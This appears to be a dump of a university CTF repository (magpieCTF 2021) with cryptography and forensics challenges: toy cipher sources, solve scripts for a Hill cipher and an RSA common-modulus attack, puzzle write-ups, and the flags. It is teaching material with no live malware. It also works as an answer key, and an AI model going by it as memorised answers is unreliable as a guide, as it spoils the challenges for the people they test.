range(32): 12 | left, right = right, xor_hex_strings(f(right, subkeys[i]), left) 13 | 14 | return bytes.fromhex(right + left) 15 | 16 | 17 | def decrypt(ciphertext, key): 18 | left = ciphertext.hex()[0:5] 19 | right = ciphertext.hex()[5:10] 20 | 21 | subkeys = gen_subkeys(key)[::-1] 22 | 23 | for i in range(32): 24 | left, right = right, xor_hex_strings(f(right, subkeys[i]), left) 25 | 26 | return bytes.fromhex(right + left) 27 | 28 | 29 | def f(r, key): 30 | sub = [hex( (int(r[i], 16) + int(key[i], 16)) % 16 )[2] for i in range(5)] 31 | 32 | return ''.join(sub[1:5] + [sub[0]]) 33 | 34 | 35 | def gen_subkeys(key): 36 | subkeys = [key[0:5], key[5:10]] 37 | 38 | for i in range(30): 39 | subkeys.append(subkeys[i]) 40 | 41 | return subkeys 42 | 43 | 44 | def xor_hex_strings(a, b): 45 | return ''.join([hex( int(a[i], 16) ^ int(b[i], 16) )[2] for i in range(len(a))]) 46 | 47 | 48 | def main(): 49 | FLAG = "magpie{}" 50 | key = os.urandom(5).hex() 51 | 52 | print("Hello! The encryption service will start momentarily...") 53 | time.sleep(5) 54 | start = time.time() 55 | 56 | for i in range(2**12): 57 | print("Choose an option: 1 to encrypt a message, 2 to decrypt, 3 to guess the key, or 4 to exit") 58 | choice = int(input()) 59 | 60 | if choice == 1: 61 | message = bytes.fromhex(input()) 62 | 63 | print(encrypt(message, key).hex()) 64 | elif choice == 2: 65 | message = bytes.fromhex(input()) 66 | 67 | print(decrypt(message, key).hex()) 68 | elif choice == 3: 69 | print("Enter your guess in hex") 70 | 71 | guess = input().lower() 72 | 73 | if(guess == key and time.time() - start <= 1800): 74 | print("You figured it out... I guess I owe you a flag") 75 | print(FLAG) 76 | exit() 77 | else: 78 | print("Better luck next time") 79 | exit() 80 | else: 81 | exit() 82 | 83 | print("I think that's enough") 84 | 85 | main() 86 | 87 | -------------------------------------------------------------------------------- /challenges/cryptography/data-encryption-non-standard/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.12 2 | 3 | RUN apk update 4 | RUN apk add python3 socat 5 | 6 | COPY server.py /home/ 7 | 8 | EXPOSE 20000 9 | 10 | CMD socat TCP-LISTEN:20000,fork,reuseaddr EXEC:"python3 /home/server.py" 11 | -------------------------------------------------------------------------------- /challenges/cryptography/data-encryption-non-standard/source/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | 5 | def encrypt(message, key): 6 | left = message.hex()[0:5] 7 | right = message.hex()[5:10] 8 | 9 | subkeys = gen_subkeys(key) 10 | 11 | for i in range(32): 12 | left, right = right, xor_hex_strings(f(right, subkeys[i]), left) 13 | 14 | return bytes.fromhex(right + left) 15 | 16 | 17 | def decrypt(ciphertext, key): 18 | left = ciphertext.hex()[0:5] 19 | right = ciphertext.hex()[5:10] 20 | 21 | subkeys = gen_subkeys(key)[::-1] 22 | 23 | for i in range(32): 24 | left, right = right, xor_hex_strings(f(right, subkeys[i]), left) 25 | 26 | return bytes.fromhex(right + left) 27 | 28 | 29 | def f(r, key): 30 | sub = [hex( (int(r[i], 16) + int(key[i], 16)) % 16 )[2] for i in range(5)] 31 | 32 | return ''.join(sub[1:5] + [sub[0]]) 33 | 34 | 35 | def gen_subkeys(key): 36 | subkeys = [key[0:5], key[5:10]] 37 | 38 | for i in range(30): 39 | subkeys.append(subkeys[i]) 40 | 41 | return subkeys 42 | 43 | 44 | def xor_hex_strings(a, b): 45 | return ''.join([hex( int(a[i], 16) ^ int(b[i], 16) )[2] for i in range(len(a))]) 46 | 47 | 48 | def main(): 49 | FLAG = "magpie{T74t'5_a_F31StY_C19HeR}" 50 | key = os.urandom(5).hex() 51 | 52 | print("Hello! The encryption service will start momentarily...", flush=True) 53 | time.sleep(5) 54 | start = time.time() 55 | 56 | for i in range(2**12): 57 | print("Choose an option: 1 to encrypt a message, 2 to decrypt, 3 to guess the key, or 4 to exit", flush=True) 58 | choice = int(input()) 59 | 60 | if choice == 1: 61 | message = bytes.fromhex(input()) 62 | 63 | print(encrypt(message, key).hex()) 64 | elif choice == 2: 65 | message = bytes.fromhex(input()) 66 | 67 | print(decrypt(message, key).hex()) 68 | elif choice == 3: 69 | print("Enter your guess in hex") 70 | 71 | guess = input().lower() 72 | 73 | if(guess == key and time.time() - start <= 1800): 74 | print("You figured it out... I guess I owe you a flag", flush=True) 75 | print(FLAG, flush=True) 76 | exit() 77 | else: 78 | print("Better luck next time", flush=True) 79 | exit() 80 | else: 81 | exit() 82 | 83 | print("I think that's enough", flush=True) 84 | 85 | main() 86 | 87 | -------------------------------------------------------------------------------- /challenges/cryptography/dot-matrix/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Dot Matrix 3 | ### Category: Cryptography 4 | ### Author: Braydon Willms 5 | 6 | ## Description 7 | This stupid dot matrix printer makes so much noise, jams, and I can't figure out what it did to my picture! 8 | 9 | Note: Don't try to print a file you value. 10 | 11 | We're also given the file flag.png and a binary named printer. 12 | 13 | ## Hint 14 | I swear I'm going to throw this thing down a hill! 15 | 16 | ## Solution 17 | In this challenge, we're given a file with a png extension, though it isn't a proper png, and a binary that was run on the file. 18 | 19 | 1. Start by reverse engineering the binary (I used cutter). We see that the binary starts by running the function gen\_enc\_matrix, which generates an array of 4 random chars. It then reads a file specified by the command line, and runs the function encrypt\_file and overwrites the original file with the result. 20 | 21 | 2. Based on the matrix generation function, the operations performed by encrypt\_file, and the hint, we can determine that the encyrption uses a hill cipher with a 2x2 matrix. However, we also have to note that the modulus is determined by the size of a byte, and is 256 rather than 26. 22 | 23 | 3. Based on the file extension, the file was orginially a png. Using the magic number of a png (0x89504e47), we can set up a system of linear congruences and find the encryption matrix. 24 | 25 | 4. Finally, find the inverse of this encryption matrix, and use it to decrypt the picture, which contains the flag. 26 | 27 | solve/dot\_matrix\_solve.py shows how we can carry out this decryption process. 28 | 29 | ## Flag 30 | magpie{4t\_L3a5T\_T73\_p4P3R\_15\_7uN} 31 | -------------------------------------------------------------------------------- /challenges/cryptography/dot-matrix/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/cryptography/dot-matrix/flag.png -------------------------------------------------------------------------------- /challenges/cryptography/dot-matrix/printer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/cryptography/dot-matrix/printer -------------------------------------------------------------------------------- /challenges/cryptography/dot-matrix/solve/dot_matrix_solve.py: -------------------------------------------------------------------------------- 1 | def mod_inv(p, q): 2 | # calculate inverse of p mod q 3 | if p < q: 4 | return mod_inv(q, p) 5 | else: 6 | x0, y0, x1, y1 = 1, 0, 0, 1 7 | x0, y0, x1, y1 = x1, y1, x0 - (p // q) * x1, y0-( p // q) * y1 8 | p, q = q, p%q 9 | while q != 0: 10 | x0, y0, x1, y1 = x1, y1, x0 - (p // q) * x1, y0 - (p // q) * y1 11 | p, q = q, p % q 12 | return y0 13 | 14 | 15 | def find_encryption_matrix(data): 16 | # set up a system of equations using the magic number for a png and encrypted file bytes to find the encryption matrix 17 | equations = [[0x89,0x50,0,0,data[0]], [0x4E,0x47,0,0,data[2]], [0,0,0x89,0x50,data[1]], [0,0,0x4E,0x47,data[3]]] 18 | 19 | # reduce to RREF 20 | for i in range(4): 21 | inverse = mod_inv(equations[i][i], 256) 22 | for j in range(5): 23 | equations[i][j] = (equations[i][j] * inverse) % 256 24 | 25 | for j in range(4): 26 | if j != i: 27 | multiple = equations[j][i] 28 | for k in range(5): 29 | equations[j][k] = (equations[j][k] - multiple * equations[i][k]) % 256 30 | 31 | return [[equations[0][4], equations[1][4]],[equations[2][4], equations[3][4]]] 32 | 33 | 34 | def find_decryption_matrix(enc_matrix): 35 | # find inverse of encryption matrix 36 | determinant = enc_matrix[0][0]*enc_matrix[1][1]-enc_matrix[0][1]*enc_matrix[1][0] 37 | det_inv = mod_inv(determinant%256, 256) 38 | 39 | dec_matrix=[[(enc_matrix[1][1]*det_inv)%256,(-enc_matrix[0][1]*det_inv)%256],[(-enc_matrix[1][0]*det_inv)%256, (enc_matrix[0][0]*det_inv)%256]] 40 | 41 | return dec_matrix 42 | 43 | 44 | def decrypt(data, dec_matrix): 45 | # decrypt file 46 | decrypted = [] 47 | for i in range(0, len(data), 2): 48 | decrypted.append(round(data[i]*dec_matrix[0][0]+data[i+1]*dec_matrix[0][1]) % 256) 49 | decrypted.append(round(data[i]*dec_matrix[1][0]+data[i+1]*dec_matrix[1][1]) % 256) 50 | 51 | return decrypted 52 | 53 | 54 | f = open("flag.png", "rb") 55 | data = f.read() 56 | f.close() 57 | 58 | enc_matrix = find_encryption_matrix(data) 59 | 60 | dec_matrix = find_decryption_matrix(enc_matrix) 61 | 62 | data = decrypt(data, dec_matrix) 63 | 64 | f = open("flag.png", "wb") 65 | f.write(bytes(data)) 66 | f.close() 67 | -------------------------------------------------------------------------------- /challenges/cryptography/dot-matrix/source/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/cryptography/dot-matrix/source/flag.png -------------------------------------------------------------------------------- /challenges/cryptography/dot-matrix/source/printer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void gen_enc_matrix(unsigned char matrix[][2]) { 6 | srand(time(0)); 7 | 8 | while((matrix[0][0]*matrix[1][1]-matrix[0][1]*matrix[1][0]) % 2 == 0) { 9 | matrix[0][0] = rand() % 256; 10 | matrix[0][1] = rand() % 256; 11 | matrix[1][0] = rand() % 256; 12 | matrix[1][1] = rand() % 256; 13 | } 14 | 15 | return; 16 | } 17 | 18 | void encrypt_file(unsigned char matrix[][2], char * buffer, long flen) { 19 | char x, y; 20 | for(int i = 0;i < flen; i = i+2) { 21 | x = (matrix[0][0]*buffer[i]+matrix[0][1]*buffer[i+1]) % 256; 22 | y = (matrix[1][0]*buffer[i]+matrix[1][1]*buffer[i+1]) % 256; 23 | buffer[i]=x; 24 | buffer[i+1]=y; 25 | } 26 | } 27 | 28 | void write_file(char * filename, char * buffer, long flen) { 29 | FILE * f; 30 | 31 | f = fopen(filename, "wb"); 32 | 33 | for(int i = 0;i < flen;i++) { 34 | fputc(buffer[i], f); 35 | } 36 | 37 | fclose(f); 38 | } 39 | 40 | int main(int argc, char * argv[]) { 41 | 42 | if(argc < 2) { 43 | printf("You have to specify a picture to print!"); 44 | return 0; 45 | } 46 | 47 | unsigned char enc_matrix[2][2] = {{0,0},{0,0}}; 48 | gen_enc_matrix(enc_matrix); 49 | 50 | FILE *f; 51 | long flen; 52 | f = fopen(argv[1], "rb"); 53 | fseek(f, 0, SEEK_END); 54 | flen = ftell(f); 55 | rewind(f); 56 | 57 | char * buffer; 58 | buffer=(char *)malloc(flen * sizeof(char)); 59 | fread(buffer, flen, 1, f); 60 | fclose(f); 61 | 62 | encrypt_file(enc_matrix, buffer, flen); 63 | 64 | write_file(argv[1], buffer, flen); 65 | 66 | return 0; 67 | } 68 | -------------------------------------------------------------------------------- /challenges/cryptography/mires-of-dyrne/README.md: -------------------------------------------------------------------------------- 1 | # Mires of Dyrne 2 | ### Category: Cryptography 3 | ### Author: Emily Baird (analytical engine) 4 | 5 | ## Description 6 | My friends and I have been playing this cool game called Dungeons and Dragons. It’s really fun! Or, it was really fun, until we got stuck. We found an abandoned temple in a peat bog and started exploring, and now our party is totally lost. The only clue we have is some writing that we found on the wall, but it’s just nonsense. I’m really starting to get frustrated so... I stole a page from our Dungeon Master’s notebook. I hope he doesn’t find out! 7 | 8 | ## Hints 9 | 1. My character’s name is Blaise. I thought it was boring to be a fighter or a wizard or something, so I made him an alchemist. 10 | 11 | 2. It feels like we’ve been stuck in this quagmire forever... 12 | 13 | ## Solution 14 | The cipher is a keyed Vigenere cipher (also called a Quagmire cipher). This cipher is a combination of a substitution cipher that scrambles the Vigenere tableau, followed by a standard Vigenere shift cypher using a keyword. To decrypt the message, 2 keys are needed: 15 | - The alphabet substitution used to scramble the tableau 16 | - The Vigenere keyword used to perform the shift 17 | 18 | The alphabet substitution can be found on the DM’s notes: 'gfxloqavkntdbczuehwisjpyrm' 19 | The Vigenere keyword can be found by googling the answer to the riddle: ‘candle’ 20 | 21 | With the two keys, any online decryptor for keyed Vigenere ciphers can be used. In creating this challenge, [this site](http://rumkin.com/tools/cipher/vigenere-keyed.php) was used. 22 | 23 | ## Flag 24 | magpie{sirvigenereofgreyhawk} 25 | -------------------------------------------------------------------------------- /challenges/cryptography/rumours-going-around/README.md: -------------------------------------------------------------------------------- 1 | 2 | # RumourS going Around 3 | ### Category: Cryptography 4 | ### Author: Braydon Willms 5 | 6 | ## Description 7 | Sara said she heard a rumour about me. I also know her friends have been sending her a bunch of messages that I think might be it, but they're encrypted with really big numbers and I don't know what they're saying about me. 8 | 9 | We're also given c1.txt, c2.txt, public1.pem, and public2.pem. 10 | 11 | ## Hint 12 | 1. Is bigger really better when you use it too much? 13 | 14 | 2. The plaintexts are the same. 15 | 16 | ## Solution 17 | 1. We can start by looking at the public RSA keys we're given. I used pycrypto to read the files. 18 | 19 | 2. Looking at the keys (and based on the hint), we see that even though the modulus is very large, both keys use the same modulus. We may be able to carry out a common modulus attack. 20 | 21 | 3. Now we just have to carry out the calculations for this attack. First we run the extended euclidean algorithm with the exponents. Since one of our values is negative (the one corresponding to the first key), we have to find the modular inverse of the first ciphertext. We then compute (c1' ^ -x) (c2 ^ y) (mod n), giving us the message. 22 | 23 | (c1'^-x)(c2^y) (mod n) 24 | =(m^(e1\*x+e2\*y)) (mod n) 25 | =m^1 26 | 27 | This is also shown in solve.py. 28 | 29 | ## Flag 30 | magpie{8r0k3N\_h34R73d\_crypt0GR4p3R} 31 | -------------------------------------------------------------------------------- /challenges/cryptography/rumours-going-around/c1.txt: -------------------------------------------------------------------------------- 1 | 0x3401394DFED7DD536A17802A30D5F264F66A3768FCBD640733277DCAFC6B801A1BA12FFC5F640A0F6AB8BE2AACF8DAD18450B81B1B521803FA0BDF193A18F1115F34E539467FF74E3A2C8567EF61562EDC1E48DB39FF771F4AEFE2C966AF5C9CD408532C672BC32BE78A6B7FC783B6C646253F8061DF45AA36993D6F463DB16EED8BB184D3E417615D47B4D52F66FD325918955A3EEAF48C9AF748BF5803C0AD0E078219277E52F404165317D14F1C88136E424E9DF75FB2BB80708F70E3406D25BF38660F1DEF05FDA7D340BB618983E2CCCB14BEB823BB3DF9A53F351CB014E853A620230D010B4A3AB6AAC541703FC67B6D214F856FD4AC682D309A585FDD1317823CD46399C8658CA6D5329FDED4249FD323828B858C41DCA66FF5F62EE509F2DC853048A2D7DF9BEB1B5CAA0B0A7B62D51EA3A0BE69B9B27DD8240BEA4A4EF42251BA003899BF5947A1CB56755207003859DAE5EC2310FA43920D5E40EDDA0C9FF77C06874283DA724763177BB0A0972975359DF9DAC95DB6AD4DA85443A0B88A05D4DDF371ADCAFF11C8CCAF047C332904B710B1223915F39B9E319627B0A2114CC27FD2E4700BAE235FC51B8558E82E675C74EEA0A34BE4E556C49E3F25D28C5618BEF272672D1E6439F334D13BD110B8951AE3A943638172140C46291AA55B1CD07C33EABF3075F5692A7206707B3499693FFE67D3E0472B01617FEB 2 | -------------------------------------------------------------------------------- /challenges/cryptography/rumours-going-around/c2.txt: -------------------------------------------------------------------------------- 1 | 0x169F3C6A71DAA55E7507218E96868CCEB2D0D9F6701545D4743942A6E2A62B38DE039AA4DABE3A720540C1D05838F4E94F57D64904F4B18330E91F879DA9D3AB34F0932C09DD1D15A66F825A37A145744571591D34076971F2EDB184F0DF89FA848435A0ABC512C70D1801642BEABBDB6AB6874DCE4DE5D8AD6AB27317C71E3546A6959F1B58497F091EDE4491EC18EE795C07B29EED8B43DDEE3606698A667F0346A8284EB31A68EE71B072162431A5BDF4E2F80A15D59522734F53D43591422CE55B62D8E9FB120069EE87639CCE879EC8D3073E5A916153DAEAD0F504B6CB3A1E213C1B68FB52D84E13E9213BE563349D34BE608AA2D844F636CC280AEF4DF417D4980D7D713B8EDBE6015F166153C3766B12ECA4C07873CF2B848C21B641F1CF528F79A855280BC9D46FE3F3612840698A51A0023A92DF764E4B9BB052077493F7EBAAE3AC4124D494EBF9ADC82862F1028612E06D75C6708AF0EC25903F6CB4A36BA3AECD26482268B8D3B64AAED810C7DD28DAB004EF60F6C3A36A831D6CE6371F00A710720775DC48963BFBFE8D3FE782BDAB065AF6FE30366E3172E36A86ADC6A4B0C99E1F456B49FDBBF8DD51E3AF5B491E01864A8062B21AC1004F2B66DAD4F137F0CE660699BBC6C957EAECFFFFF8F5006DA2EC27869D23E5E4CE829604A6B41E3C65EFC922D6B5980104AF1672EE408E032C40F026F9316A308D 2 | -------------------------------------------------------------------------------- /challenges/cryptography/rumours-going-around/public1.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIICITANBgkqhkiG9w0BAQEFAAOCAg4AMIICCQKCAgEAj4KEXMqj5TEZVSnO7Z5q 3 | j91RTtvsDqSVTY268b9wVmTqYB8fvksojzGJIBwnn97IL2rKtp3K5ggH/lMZFdJ0 4 | CcXTBSjOGInJd0nFVMq398TRmmWjTCnNNPgZGT1vcjeX8UJK6SWi5QRF4cEdU+aY 5 | AYql2m43PRmaNqepOG/awilyeuOY16fx1qGk4ur7rEhzFbwsO/22zdhLkE6dLOjk 6 | iXA61OLA+EOuSe/ymn3elQMxkYhp4Pgy9v4G/suwfL3G1OsB1pU5WNS8x0Z1j2Bv 7 | HAfN3g2cCDHG9oTDze/sU92kFDahODpNTzB/4+gty4ErWQUeeN5TGQjRv8Kp6yXQ 8 | KDyHs5qUaySS7rUJJj9N/lmOukxk35Q3c2aJasviRgcXG1VAOFAUSSmbqGBCuHBR 9 | 6XVsIYP6EwdPNGRDoL96bs4gyA9/mzhkgTszy104STnpNAdWiXmr9q94Twap3ynI 10 | 43ly8ndZUEcv1lesPCL34AgoNwSvssmVV1+H7y3YVlXacfeOlULGYIykmFVHXvHi 11 | fhaoDRnoeAMgcMmLg2qNa+Nl0lbLJWAot3stAcuAj+QhzbsSwstJJ6ScTILkDXRq 12 | N9Jw0O5oYj3JHDgtlPEctuYCgWG5OG4yVIDOYyH5G2djXJIXCrR8PyFWg8UIN7f6 13 | tnjtAhU+2kvq9dInMLAdnfsCAnpp 14 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /challenges/cryptography/rumours-going-around/public2.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAj4KEXMqj5TEZVSnO7Z5q 3 | j91RTtvsDqSVTY268b9wVmTqYB8fvksojzGJIBwnn97IL2rKtp3K5ggH/lMZFdJ0 4 | CcXTBSjOGInJd0nFVMq398TRmmWjTCnNNPgZGT1vcjeX8UJK6SWi5QRF4cEdU+aY 5 | AYql2m43PRmaNqepOG/awilyeuOY16fx1qGk4ur7rEhzFbwsO/22zdhLkE6dLOjk 6 | iXA61OLA+EOuSe/ymn3elQMxkYhp4Pgy9v4G/suwfL3G1OsB1pU5WNS8x0Z1j2Bv 7 | HAfN3g2cCDHG9oTDze/sU92kFDahODpNTzB/4+gty4ErWQUeeN5TGQjRv8Kp6yXQ 8 | KDyHs5qUaySS7rUJJj9N/lmOukxk35Q3c2aJasviRgcXG1VAOFAUSSmbqGBCuHBR 9 | 6XVsIYP6EwdPNGRDoL96bs4gyA9/mzhkgTszy104STnpNAdWiXmr9q94Twap3ynI 10 | 43ly8ndZUEcv1lesPCL34AgoNwSvssmVV1+H7y3YVlXacfeOlULGYIykmFVHXvHi 11 | fhaoDRnoeAMgcMmLg2qNa+Nl0lbLJWAot3stAcuAj+QhzbsSwstJJ6ScTILkDXRq 12 | N9Jw0O5oYj3JHDgtlPEctuYCgWG5OG4yVIDOYyH5G2djXJIXCrR8PyFWg8UIN7f6 13 | tnjtAhU+2kvq9dInMLAdnfsCAwEAAQ== 14 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /challenges/cryptography/rumours-going-around/solve/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | def egcd(p, q): 4 | if p < q: 5 | return egcd(q, p) 6 | else: 7 | x0, y0, x1, y1 = 1, 0, 0, 1 8 | x0, y0, x1, y1 = x1, y1, x0 - (p // q) * x1, y0-( p // q) * y1 9 | p, q = q, p%q 10 | while q != 0: 11 | x0, y0, x1, y1 = x1, y1, x0 - (p // q) * x1, y0 - (p // q) * y1 12 | p, q = q, p % q 13 | return p, x0, y0 14 | 15 | f = open('public1.pem', 'r') 16 | key1 = RSA.importKey(f.read()) 17 | f.close() 18 | 19 | f = open('public2.pem', 'r') 20 | key2 = RSA.importKey(f.read()) 21 | f.close() 22 | 23 | f = open('c1.txt', 'r') 24 | c1 = int(f.read(), 16) 25 | f.close() 26 | 27 | f = open('c2.txt', 'r') 28 | c2 = int(f.read(), 16) 29 | f.close() 30 | 31 | gcd, x, y = egcd(key1.e, key2.e) 32 | 33 | c1_inverse = egcd(c1, key1.n)[2] 34 | 35 | p = (pow(c1_inverse, -y, key1.n) * pow(c2, x, key2.n)) % key1.n 36 | 37 | print(bytes.fromhex(('0' * (len(hex(p)) % 2)) + hex(p)[2:])) 38 | -------------------------------------------------------------------------------- /challenges/forensics/dynatac-8000x-keylogger/README.md: -------------------------------------------------------------------------------- 1 | 2 | # DynaTAC 8000x Keylogger 3 | ### Category: Forensics 4 | ### Author: James Lowther (Articuler) 5 | 6 | ## Description 7 | The DynaTAC 8000X, released in 1983, was the first consumer cellphone ever sold. Somebody recently modified it to support texting and added a keylogger! Can you find out what message was sent? Note: wrap extracted data in magpie{} 8 | 9 | 10 | ## Hints 11 | 1. Take a look at 9-key texting on flip phones. 12 | 13 | 2. Pay attention to when the keys were actually pressed. 14 | 15 | ## Solution 16 | This challenge provides you with a file including a bunch of keystrokes on a cell phone as well as the time the key was pressed. Keys need to be decoded to the letters that would be selected if pressed on a 9-key flip phone. The time between each sequence of presses is roughly 400ms and the time between each letter is roughtly 1200ms. The BACKSPACE key represents an incorrect sequence and the user deleting a previously entered letter. 17 | 18 | 1. To solve this challenge, write a script that looks at the keys and the time they were pressed and decodes each sequence 19 | of key presses back to the corresponding letter on a 9-key flip phone. 20 | 21 | ## Flag 22 | magpie{itstoobadtextingwasnotevenathingbackthen} -------------------------------------------------------------------------------- /challenges/forensics/dynatac-8000x-keylogger/keylog.txt: -------------------------------------------------------------------------------- 1 | DynaTAC 8000X Keylogger 2 | ----------------------- 3 | 4 | time (ms) : key 5 | 6 | 342 : 4 7 | 708 : 4 8 | 1045 : 4 9 | 2600 : 8 10 | 4172 : 7 11 | 4489 : 7 12 | 4826 : 7 13 | 5180 : 7 14 | 6644 : 8 15 | 8218 : 6 16 | 8592 : 6 17 | 8966 : 6 18 | 10502 : 6 19 | 10821 : 6 20 | 11954 : BACKSPACE 21 | 13470 : 6 22 | 13883 : 6 23 | 14220 : 6 24 | 15770 : 2 25 | 16179 : 2 26 | 17785 : 2 27 | 19230 : 3 28 | 20741 : 8 29 | 22231 : 3 30 | 23479 : BACKSPACE 31 | 24903 : 3 32 | 25279 : 3 33 | 26870 : 9 34 | 27223 : 9 35 | 28794 : 8 36 | 30251 : 4 37 | 30613 : 4 38 | 30959 : 4 39 | 32466 : 6 40 | 32770 : 6 41 | 34346 : 4 42 | 35845 : 9 43 | 37400 : 2 44 | 38885 : 7 45 | 39274 : 7 46 | 40458 : BACKSPACE 47 | 41994 : 7 48 | 42320 : 7 49 | 43553 : BACKSPACE 50 | 45014 : 7 51 | 45293 : 7 52 | 45588 : 7 53 | 45939 : 7 54 | 47383 : 6 55 | 47665 : 6 56 | 49318 : 6 57 | 49617 : 6 58 | 49909 : 6 59 | 51501 : 8 60 | 53010 : 3 61 | 53344 : 3 62 | 54890 : 8 63 | 55298 : 8 64 | 55701 : 8 65 | 57183 : 3 66 | 58391 : BACKSPACE 67 | 59895 : 3 68 | 60269 : 3 69 | 61704 : 6 70 | 61997 : 6 71 | 63626 : 2 72 | 65257 : 8 73 | 66760 : 4 74 | 67135 : 4 75 | 68714 : 4 76 | 69058 : 4 77 | 70312 : BACKSPACE 78 | 71870 : 4 79 | 72149 : 4 80 | 72457 : 4 81 | 74060 : 6 82 | 74440 : 6 83 | 76080 : 4 84 | 77690 : 2 85 | 78035 : 2 86 | 79665 : 2 87 | 81151 : 2 88 | 81553 : 2 89 | 81854 : 2 90 | 83312 : 5 91 | 83731 : 5 92 | 85277 : 8 93 | 86730 : 4 94 | 87085 : 4 95 | 88662 : 3 96 | 88984 : 3 97 | 90469 : 6 98 | 91635 : BACKSPACE 99 | 93090 : 6 100 | 93392 : 6 101 | 94553 : SEND -------------------------------------------------------------------------------- /challenges/forensics/dynatac-8000x-keylogger/solve/dynatac-8000x-keylogger-solve.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Solve script for cellphone forensics challenge 4 | 5 | """ 6 | 7 | filename = "keylog.txt" 8 | 9 | # In ms 10 | tap_time = 450 11 | hold_time = 1300 12 | 13 | t9_dict = { 14 | "2" : "a", 15 | "22" : "b", 16 | "222" : "c", 17 | "3" : "d", 18 | "33" : "e", 19 | "333" : "f", 20 | "4" : "g", 21 | "44" : "h", 22 | "444" : "i", 23 | "5" : "j", 24 | "55" : "k", 25 | "555" : "l", 26 | "6" : "m", 27 | "66" : "n", 28 | "666" : "o", 29 | "7" : "p", 30 | "77" : "q", 31 | "777" : "r", 32 | "7777" : "s", 33 | "8" : "t", 34 | "88" : "u", 35 | "888" : "v", 36 | "9" : "w", 37 | "99" : "x", 38 | "999" : "y", 39 | "9999" : "z" 40 | } 41 | 42 | def main(): 43 | 44 | # Read in the challenge data 45 | in_file = open(filename, "r") 46 | data = in_file.readlines()[5:] 47 | 48 | c_time = 0 49 | seq = "" 50 | flag = "" 51 | 52 | for line in data: 53 | x = line.rstrip("\n") 54 | (time, key) = x.split(" : ") 55 | 56 | # Calculate change in time 57 | delta_time = int(time) - c_time 58 | 59 | # Intermediate key press 60 | if delta_time < tap_time: 61 | seq = seq + key 62 | 63 | # Letter selected 64 | else: 65 | if seq: 66 | flag = flag + t9_dict[seq] 67 | 68 | if key == "BACKSPACE": 69 | flag = flag[:-1] 70 | seq = "" 71 | 72 | else: 73 | seq = key 74 | 75 | c_time = int(time) 76 | 77 | print(flag) 78 | 79 | in_file.close() 80 | 81 | main() 82 | -------------------------------------------------------------------------------- /challenges/forensics/dynatac-8000x-keylogger/source/create.py: -------------------------------------------------------------------------------- 1 | 2 | from random import randint, choice 3 | 4 | # In ms 5 | tap_time = 350 6 | tap_variance = 75 7 | hold_time = 1200 8 | hold_variance = 75 9 | 10 | t9_dict = { 11 | "a" : "2", 12 | "b" : "22", 13 | "c" : "222", 14 | "d" : "3", 15 | "e" : "33", 16 | "f" : "333", 17 | "g" : "4", 18 | "h" : "44", 19 | "i" : "444", 20 | "j" : "5", 21 | "k" : "55", 22 | "l" : "555", 23 | "m" : "6", 24 | "n" : "66", 25 | "o" : "666", 26 | "p" : "7", 27 | "q" : "77", 28 | "r" : "777", 29 | "s" : "7777", 30 | "t" : "8", 31 | "u" : "88", 32 | "v" : "888", 33 | "w" : "9", 34 | "x" : "99", 35 | "y" : "999", 36 | "z" : "9999" 37 | } 38 | 39 | def main(): 40 | 41 | # '@' is to represent a backspace 42 | flag = "itston@obadtd@extingwaq@q@snotevd@enathh@ingbackthem@n" 43 | output = open("keylog.txt", "w") 44 | 45 | to_write = "DynaTAC 8000X Keylogger\n" 46 | to_write += "-----------------------\n\n" 47 | to_write += "time (ms) : key\n\n" 48 | 49 | output.write(to_write) 50 | 51 | total_time = 0 52 | 53 | for char in flag: 54 | 55 | # backspace 56 | if char == '@': 57 | line = str(total_time) + " : " + "BACKSPACE" + "\n" 58 | output.write(line) 59 | 60 | else: 61 | sequence = t9_dict[char] 62 | 63 | for number in sequence: 64 | total_time += tap_time + randint(0, tap_variance) * choice([-1, 1]) 65 | line = str(total_time) + " : " + str(number) + "\n" 66 | output.write(line) 67 | 68 | total_time += hold_time + randint(0, hold_variance) * choice([-1, 1]) 69 | 70 | line = str(total_time) + " : " + "SEND" 71 | output.write(line) 72 | 73 | output.close() 74 | 75 | main() -------------------------------------------------------------------------------- /challenges/forensics/dynatac-8000x-keylogger/source/flag.txt: -------------------------------------------------------------------------------- 1 | # Encoded into t9 2 | itston@obadtd@extingwaq@q@snotevd@enathh@ingbackthem@n 3 | 4 | 5 | # Flag 6 | magpie{itstoobadtextingwasnotevenathingbackthen} -------------------------------------------------------------------------------- /challenges/forensics/false-flag/README.md: -------------------------------------------------------------------------------- 1 | # Magpie2021 - False-Flag 2 | ### Category: Forensics 3 | ### Author: Jeremy Stuart (Mr.Wizard) 4 | 5 | ## Description 6 | The United States didn't land on the moon, that flag is completely fake! Dig in and 7 | see if you can figure out the REAL flag! 8 | 9 | ## Hints 10 | 11 | 1. Despite the lack of gravity, it's still pretty easy to binwalk on the Moon. 12 | 13 | ## Solution: 14 | This is meant to be a simple binwalk challenge, whereby you use binwalk (or some other 15 | tool) to find that there is more than one file in the image data. If you run binwalk 16 | on the image you're given you'll find that there's a file called "RealImage.zip" appended 17 | to the end of moonman.jpeg and you can either use binwalk to automatically extract it or 18 | use the `dd` tool to remove the bytes of the zip to a new file. Once you do that, unzip 19 | `RealImage.zip` to find a file called `mtv.txt`. If you open it in a text editor it 20 | shouldn't make any sense. This is because it's actually a jpg file. You can check this by 21 | running `file` on 